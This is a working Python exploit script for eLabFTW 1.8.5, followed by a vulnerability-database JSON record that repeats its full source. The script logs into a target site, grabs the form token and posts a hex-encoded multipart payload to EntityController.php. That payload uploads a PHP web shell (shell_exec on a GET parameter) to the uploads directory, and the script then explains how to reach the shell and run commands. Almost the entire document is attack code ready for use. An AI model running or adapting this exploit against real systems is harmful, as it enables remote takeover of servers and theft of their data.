#!/usr/bin/env python
#
# Exploit Title : eLabFTW 1.8.5 'EntityController' Arbitrary
File Upload / RCE
# Date : 5/18/19
# Exploit Author : liquidsky (JMcPeters)
# Vulnerable Software : eLabFTW 1.8.5
# Vendor Homepage : https://www.elabftw.net/
# Version : 1.8.5
# Software Link : https://github.com/elabftw/elabftw
# Tested On : Linux / PHP Version 7.0.33 / Default
installation (Softaculous)
# Author Site : http://incidentsecurity.com | https://github.com/fuzzlove
#
# Greetz : wetw0rk, offsec ^^
#
# Description: eLabFTW 1.8.5 is vulnerable to arbitrary file uploads
via the /app/controllers/EntityController.php component.
# This may result in remote command execution. An attacker can use a
user account to fully compromise the system using a POST request.
# This will allow for PHP files to be written to the web root, and for
code to execute on the remote server.
#
# Notes: Once this is done a php shell will drop at https://[target
site]/[elabftw directory]/uploads/[random 2 alphanum]/[random long
alphanumeric].php5?e=whoami
# You will have to visit the uploads directory on the site to see what
the name is. However there is no protection against directory listing.
# So this can be done by an attacker remotely.
import requests
from bs4 import BeautifulSoup as bs4
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
import sys
import time
print "+-------------------------------------------------------------+"
print
print "- eLabFTW 1.8.5 'EntityController' Arbitrary File Upload / RCE"
print
print "- Discovery / PoC by liquidsky (JMcPeters) ^^"
print
print "+-------------------------------------------------------------+"
try:
target = sys.argv[1]
email = sys.argv[2]
password = sys.argv[3]
directory = sys.argv[4]
except IndexError:
print
print "- Usage: %s <target> <email> <password> <directory>" % sys.argv[0]
print "- Example: %s incidentsecurity.com user@email.com mypassword
elabftw" % sys.argv[0]
print
sys.exit()
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
# The payload to send
data = ""
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37"
data += "\x32\x31\x36\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39"
data += "\x34\x31\x31\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a"
data += "\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69"
data += "\x74\x69\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61"
data += "\x3b\x20\x6e\x61\x6d\x65\x3d\x22\x75\x70\x6c\x6f\x61\x64\x22"
data += "\x0d\x0a\x0d\x0a\x74\x72\x75\x65\x0d\x0a\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31\x36\x37\x35"
data += "\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31\x31\x31\x36"
data += "\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a\x43\x6f\x6e\x74\x65"
data += "\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a"
data += "\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20\x6e\x61\x6d"
data += "\x65\x3d\x22\x69\x64\x22\x0d\x0a\x0d\x0a\x34\x0d\x0a\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31"
data += "\x36\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31"
data += "\x31\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a\x43\x6f"
data += "\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69"
data += "\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20"
data += "\x6e\x61\x6d\x65\x3d\x22\x74\x79\x70\x65\x22\x0d\x0a\x0d\x0a"
data += "\x65\x78\x70\x65\x72\x69\x6d\x65\x6e\x74\x73\x0d\x0a\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31"
data += "\x36\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31"
data += "\x31\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a\x43\x6f"
data += "\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69"
data += "\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20"
data += "\x6e\x61\x6d\x65\x3d\x22\x66\x69\x6c\x65\x22\x3b\x20\x66\x69"
data += "\x6c\x65\x6e\x61\x6d\x65\x3d\x22\x70\x6f\x63\x33\x2e\x70\x68"
data += "\x70\x35\x22\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79"
data += "\x70\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e"
data += "\x2f\x78\x2d\x70\x68\x70\x0d\x0a\x0d\x0a\x3c\x3f\x70\x68\x70"
data += "\x20\x65\x63\x68\x6f\x20\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65"
data += "\x63\x28\x24\x5f\x47\x45\x54\x5b\x27\x65\x27\x5d\x2e\x27\x20"
data += "\x32\x3e\x26\x31\x27\x29\x3b\x20\x3f\x3e\x0d\x0a\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31\x36"
data += "\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31\x31"
data += "\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x2d\x2d\x0d\x0a"
s = requests.Session()
print "[*] Visiting eLabFTW Site"
r = s.get('https://' + target + '/' + directory +
'/login.php',verify=False, proxies=proxies)
print "[x]"
# Grabbing token
html_bytes = r.text
soup = bs4(html_bytes, 'lxml')
token = soup.find('input', {'name':'formkey'})['value']
values = {'email': email,
'password': password,
'formkey': token,}
time.sleep(2)
print "[*] Logging in to eLabFTW"
r = s.post('https://' + target + '/' + directory +
'/app/controllers/LoginController.php', data=values, verify=False,
proxies=proxies)
print "[x] Logged in :)"
time.sleep(2)
sessionId = s.cookies['PHPSESSID']
headers = {
#POST /elabftw/app/controllers/EntityController.php HTTP/1.1
#Host: incidentsecurity.com
"User-Agent": "Mozilla/5.0 (X11; Linux i686; rv:52.0)
Gecko/20100101 Firefox/52.0",
"Accept": "application/json",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
#Referer: https://incidentsecurity.com
"Cache-Control": "no-cache",
"X-Requested-With": "XMLHttpRequest",
"Content-Length": "588",
"Content-Type": "multipart/form-data;
boundary=---------------------------72167598110874594111630395077",
"Connection": "close",
"Cookie": "PHPSESSID=" + sessionId + ";" + "token=" + token
}
print "[*] Sending payload..."
r = s.post('https://' + target + '/' + directory +
'/app/controllers/EntityController.php',verify=False, headers=headers,
data=data, proxies=proxies)
print "[x] Payload sent"
print
print "Now check https://%s/%s/uploads" % (target, directory)
print "Your php shell will be there under a random name (.php5)"
print
print "i.e https://[vulnerable
site]/elabftw/uploads/60/6054a32461de6294843b7f7ea9ea2a34a19ca420752b087c87011144fc83f90b9aa5bdcdce5dee132584f6da45b7ec9e3841405e9d67a7d196f064116cf2da38.php5?e=whoami"
{"lastseen": "2020-04-01T19:05:49", "references": [], "description": "\neLabFTW 1.8.5 - Arbitrary File Upload Remote Code Execution", "edition": 1, "reporter": "liquidsky", "exploitpack": {"type": "webapps", "platform": "php"}, "published": "2019-05-20T00:00:00", "title": "eLabFTW 1.8.5 - Arbitrary File Upload Remote Code Execution", "type": "exploitpack", "enchantments": {"dependencies": {"references": [], "modified": "2020-04-01T19:05:49", "rev": 2}, "score": {"value": 0.2, "vector": "NONE", "modified": "2020-04-01T19:05:49", "rev": 2}, "vulnersScore": 0.2}, "bulletinFamily": "exploit", "cvelist": [], "modified": "2019-05-20T00:00:00", "id": "EXPLOITPACK:3C086EB83CE140A32C221B5C473C43F6", "href": "", "viewCount": 2, "sourceData": "#!/usr/bin/env python\n#\n# Exploit Title : eLabFTW 1.8.5 'EntityController' Arbitrary\nFile Upload / RCE\n# Date : 5/18/19\n# Exploit Author : liquidsky (JMcPeters)\n# Vulnerable Software : eLabFTW 1.8.5\n# Vendor Homepage : https://www.elabftw.net/\n# Version : 1.8.5\n# Software Link : https://github.com/elabftw/elabftw\n# Tested On : Linux / PHP Version 7.0.33 / Default\ninstallation (Softaculous)\n# Author Site : http://incidentsecurity.com | https://github.com/fuzzlove\n#\n# Greetz : wetw0rk, offsec ^^\n#\n# Description: eLabFTW 1.8.5 is vulnerable to arbitrary file uploads\nvia the /app/controllers/EntityController.php component.\n# This may result in remote command execution. An attacker can use a\nuser account to fully compromise the system using a POST request.\n# This will allow for PHP files to be written to the web root, and for\ncode to execute on the remote server.\n#\n# Notes: Once this is done a php shell will drop at https://[target\nsite]/[elabftw directory]/uploads/[random 2 alphanum]/[random long\nalphanumeric].php5?e=whoami\n# You will have to visit the uploads directory on the site to see what\nthe name is. However there is no protection against directory listing.\n# So this can be done by an attacker remotely.\n\nimport requests\nfrom bs4 import BeautifulSoup as bs4\nrequests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)\nimport sys\nimport time\n\nprint \"+-------------------------------------------------------------+\"\nprint\nprint \"- eLabFTW 1.8.5 'EntityController' Arbitrary File Upload / RCE\"\nprint\nprint \"- Discovery / PoC by liquidsky (JMcPeters) ^^\"\nprint\nprint \"+-------------------------------------------------------------+\"\n\ntry:\n\ntarget = sys.argv[1]\nemail = sys.argv[2]\npassword = sys.argv[3]\ndirectory = sys.argv[4]\n\nexcept IndexError:\n\n print\nprint \"- Usage: %s <target> <email> <password> <directory>\" % sys.argv[0]\nprint \"- Example: %s incidentsecurity.com user@email.com mypassword\nelabftw\" % sys.argv[0]\n print\nsys.exit()\n\n\nproxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}\n\n# The payload to send\ndata = \"\"\ndata += \"\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\"\ndata += \"\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x37\"\ndata += \"\\x32\\x31\\x36\\x37\\x35\\x39\\x38\\x31\\x31\\x30\\x38\\x37\\x34\\x35\\x39\"\ndata += \"\\x34\\x31\\x31\\x31\\x36\\x33\\x30\\x33\\x39\\x35\\x30\\x37\\x37\\x0d\\x0a\"\ndata += \"\\x43\\x6f\\x6e\\x74\\x65\\x6e\\x74\\x2d\\x44\\x69\\x73\\x70\\x6f\\x73\\x69\"\ndata += \"\\x74\\x69\\x6f\\x6e\\x3a\\x20\\x66\\x6f\\x72\\x6d\\x2d\\x64\\x61\\x74\\x61\"\ndata += \"\\x3b\\x20\\x6e\\x61\\x6d\\x65\\x3d\\x22\\x75\\x70\\x6c\\x6f\\x61\\x64\\x22\"\ndata += \"\\x0d\\x0a\\x0d\\x0a\\x74\\x72\\x75\\x65\\x0d\\x0a\\x2d\\x2d\\x2d\\x2d\\x2d\"\ndata += \"\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\"\ndata += \"\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x37\\x32\\x31\\x36\\x37\\x35\"\ndata += \"\\x39\\x38\\x31\\x31\\x30\\x38\\x37\\x34\\x35\\x39\\x34\\x31\\x31\\x31\\x36\"\ndata += \"\\x33\\x30\\x33\\x39\\x35\\x30\\x37\\x37\\x0d\\x0a\\x43\\x6f\\x6e\\x74\\x65\"\ndata += \"\\x6e\\x74\\x2d\\x44\\x69\\x73\\x70\\x6f\\x73\\x69\\x74\\x69\\x6f\\x6e\\x3a\"\ndata += \"\\x20\\x66\\x6f\\x72\\x6d\\x2d\\x64\\x61\\x74\\x61\\x3b\\x20\\x6e\\x61\\x6d\"\ndata += \"\\x65\\x3d\\x22\\x69\\x64\\x22\\x0d\\x0a\\x0d\\x0a\\x34\\x0d\\x0a\\x2d\\x2d\"\ndata += \"\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\"\ndata += \"\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x37\\x32\\x31\"\ndata += \"\\x36\\x37\\x35\\x39\\x38\\x31\\x31\\x30\\x38\\x37\\x34\\x35\\x39\\x34\\x31\"\ndata += \"\\x31\\x31\\x36\\x33\\x30\\x33\\x39\\x35\\x30\\x37\\x37\\x0d\\x0a\\x43\\x6f\"\ndata += \"\\x6e\\x74\\x65\\x6e\\x74\\x2d\\x44\\x69\\x73\\x70\\x6f\\x73\\x69\\x74\\x69\"\ndata += \"\\x6f\\x6e\\x3a\\x20\\x66\\x6f\\x72\\x6d\\x2d\\x64\\x61\\x74\\x61\\x3b\\x20\"\ndata += \"\\x6e\\x61\\x6d\\x65\\x3d\\x22\\x74\\x79\\x70\\x65\\x22\\x0d\\x0a\\x0d\\x0a\"\ndata += \"\\x65\\x78\\x70\\x65\\x72\\x69\\x6d\\x65\\x6e\\x74\\x73\\x0d\\x0a\\x2d\\x2d\"\ndata += \"\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\"\ndata += \"\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x37\\x32\\x31\"\ndata += \"\\x36\\x37\\x35\\x39\\x38\\x31\\x31\\x30\\x38\\x37\\x34\\x35\\x39\\x34\\x31\"\ndata += \"\\x31\\x31\\x36\\x33\\x30\\x33\\x39\\x35\\x30\\x37\\x37\\x0d\\x0a\\x43\\x6f\"\ndata += \"\\x6e\\x74\\x65\\x6e\\x74\\x2d\\x44\\x69\\x73\\x70\\x6f\\x73\\x69\\x74\\x69\"\ndata += \"\\x6f\\x6e\\x3a\\x20\\x66\\x6f\\x72\\x6d\\x2d\\x64\\x61\\x74\\x61\\x3b\\x20\"\ndata += \"\\x6e\\x61\\x6d\\x65\\x3d\\x22\\x66\\x69\\x6c\\x65\\x22\\x3b\\x20\\x66\\x69\"\ndata += \"\\x6c\\x65\\x6e\\x61\\x6d\\x65\\x3d\\x22\\x70\\x6f\\x63\\x33\\x2e\\x70\\x68\"\ndata += \"\\x70\\x35\\x22\\x0d\\x0a\\x43\\x6f\\x6e\\x74\\x65\\x6e\\x74\\x2d\\x54\\x79\"\ndata += \"\\x70\\x65\\x3a\\x20\\x61\\x70\\x70\\x6c\\x69\\x63\\x61\\x74\\x69\\x6f\\x6e\"\ndata += \"\\x2f\\x78\\x2d\\x70\\x68\\x70\\x0d\\x0a\\x0d\\x0a\\x3c\\x3f\\x70\\x68\\x70\"\ndata += \"\\x20\\x65\\x63\\x68\\x6f\\x20\\x73\\x68\\x65\\x6c\\x6c\\x5f\\x65\\x78\\x65\"\ndata += \"\\x63\\x28\\x24\\x5f\\x47\\x45\\x54\\x5b\\x27\\x65\\x27\\x5d\\x2e\\x27\\x20\"\ndata += \"\\x32\\x3e\\x26\\x31\\x27\\x29\\x3b\\x20\\x3f\\x3e\\x0d\\x0a\\x2d\\x2d\\x2d\"\ndata += \"\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\"\ndata += \"\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x2d\\x37\\x32\\x31\\x36\"\ndata += \"\\x37\\x35\\x39\\x38\\x31\\x31\\x30\\x38\\x37\\x34\\x35\\x39\\x34\\x31\\x31\"\ndata += \"\\x31\\x36\\x33\\x30\\x33\\x39\\x35\\x30\\x37\\x37\\x2d\\x2d\\x0d\\x0a\"\n\ns = requests.Session()\n\nprint \"[*] Visiting eLabFTW Site\"\nr = s.get('https://' + target + '/' + directory +\n'/login.php',verify=False, proxies=proxies)\nprint \"[x]\"\n\n# Grabbing token\nhtml_bytes = r.text\nsoup = bs4(html_bytes, 'lxml')\ntoken = soup.find('input', {'name':'formkey'})['value']\n\nvalues = {'email': email,\n 'password': password,\n 'formkey': token,}\n\ntime.sleep(2)\n\nprint \"[*] Logging in to eLabFTW\"\n\nr = s.post('https://' + target + '/' + directory +\n'/app/controllers/LoginController.php', data=values, verify=False,\nproxies=proxies)\n\nprint \"[x] Logged in :)\"\n\ntime.sleep(2)\n\nsessionId = s.cookies['PHPSESSID']\n\nheaders = {\n #POST /elabftw/app/controllers/EntityController.php HTTP/1.1\n #Host: incidentsecurity.com\n \"User-Agent\": \"Mozilla/5.0 (X11; Linux i686; rv:52.0)\nGecko/20100101 Firefox/52.0\",\n \"Accept\": \"application/json\",\n \"Accept-Language\": \"en-US,en;q=0.5\",\n \"Accept-Encoding\": \"gzip, deflate\",\n #Referer: https://incidentsecurity.com\n \"Cache-Control\": \"no-cache\",\n \"X-Requested-With\": \"XMLHttpRequest\",\n \"Content-Length\": \"588\",\n \"Content-Type\": \"multipart/form-data;\nboundary=---------------------------72167598110874594111630395077\",\n \"Connection\": \"close\",\n \"Cookie\": \"PHPSESSID=\" + sessionId + \";\" + \"token=\" + token\n}\n\nprint \"[*] Sending payload...\"\nr = s.post('https://' + target + '/' + directory +\n'/app/controllers/EntityController.php',verify=False, headers=headers,\ndata=data, proxies=proxies)\nprint \"[x] Payload sent\"\nprint\nprint \"Now check https://%s/%s/uploads\" % (target, directory)\nprint \"Your php shell will be there under a random name (.php5)\"\nprint\nprint \"i.e https://[vulnerable\nsite]/elabftw/uploads/60/6054a32461de6294843b7f7ea9ea2a34a19ca420752b087c87011144fc83f90b9aa5bdcdce5dee132584f6da45b7ec9e3841405e9d67a7d196f064116cf2da38.php5?e=whoami\"", "cvss": {"score": 0.0, "vector": "NONE"}}